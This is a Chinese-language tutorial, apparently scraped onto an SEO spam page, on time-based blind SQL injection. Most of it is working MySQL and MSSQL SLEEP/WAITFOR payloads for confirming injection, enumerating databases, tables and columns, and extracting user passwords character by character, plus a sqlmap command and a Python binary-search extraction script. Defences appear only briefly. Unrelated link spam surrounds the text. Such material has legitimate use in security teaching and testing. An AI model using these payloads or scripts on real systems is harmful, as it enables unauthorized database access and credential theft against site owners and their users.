当前位置: 首页 > wzjs >正文

网站规划与建设周正刚网站建设开发服务费税率

网站规划与建设周正刚,网站建设开发服务费税率,网站图片的像素,藁城专业网站建设目录 一、时间盲注原理 二、完整攻击流程 1. 注入点确认 2. 基础条件判断 3. 系统信息收集 (1)获取数据库版本 (2)获取当前数据库名 4. 数据提取技术 (1)表名枚举 (2)列名猜…

目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import timetarget_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "for position in range(1, 20):low = 0high = 255while low <= high:mid = (low + high) // 2current_payload = payload.format(position, mid)start_time = time.time()requests.get(target_url + current_payload)elapsed = time.time() - start_timeif elapsed > 3:low = mid + 1else:high = mid - 1print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项时间盲注报错注入
适用场景无任何回显有错误信息回显
攻击速度极慢(需等待延迟)较快
检测难度更难被传统WAF识别易被基于错误的规则检测
典型函数SLEEP()、BENCHMARK()updatexml()、extractvalue()
数据提取方式逐字符二分法判断直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低
http://www.dtcms.com/wzjs/832115.html

相关文章:

  • 自学网站开发软件开发魔方优化大师官网下载
  • 网站开发要什么专业淘宝网站的推广与优化
  • 珠海新盈科技有限公司 网站建设手机html网页制作
  • 陇南市建设局网站阳江网站建设公司
  • 携程网站联盟宁波网站设计公司
  • iis7 无法访问此网站网络营销策划方案的编写方法及内容
  • 网站建设的市场策划网站安全维护怎么做
  • 网站建设 视频教程网站机房建设
  • 福州网站开发天元建设集团有限公司董事长
  • 泰州 做网站大型服务器多少钱一台
  • 网站建设和网站设计区别搜狗收录提交入口
  • 建设银行网站信息补充织梦网站后台网址
  • 网站建设平面要多少分辨率阿里云 建设网站怎么样
  • dw怎么做网站标题图标济南模版网站
  • php和什么语言做网站北京网站制作公司兴田德润实力强
  • 建立商城网站公司logo背景墙设计效果图
  • u网站建设能利用双股铜芯电话线做网站吗
  • 苏州信网网站建设技术有限公司响应式网站的制作网站制作
  • 百度网站推广公司广元建设局网站
  • 建设二手商品网站总结山东青岛最新消息
  • 登陆国外网站速度慢磁力狗
  • 常德做网站网站开发工程师适合女生吗
  • 网站推广引流最快方法seo推广话术
  • 建个小型网站服务器买2g 空间做下载网站
  • 招商网站建设定做网易导入到wordpress图片
  • 在网站做专题新建网站建设
  • 大连提高网站排名深圳宝安网站建设公司
  • 百度地图嵌入公司网站青岛一品网站建设
  • 如何做医疗网站的专题页为什么网站 关键词策划
  • 深圳公司网站设计公司哪些公司做网站开发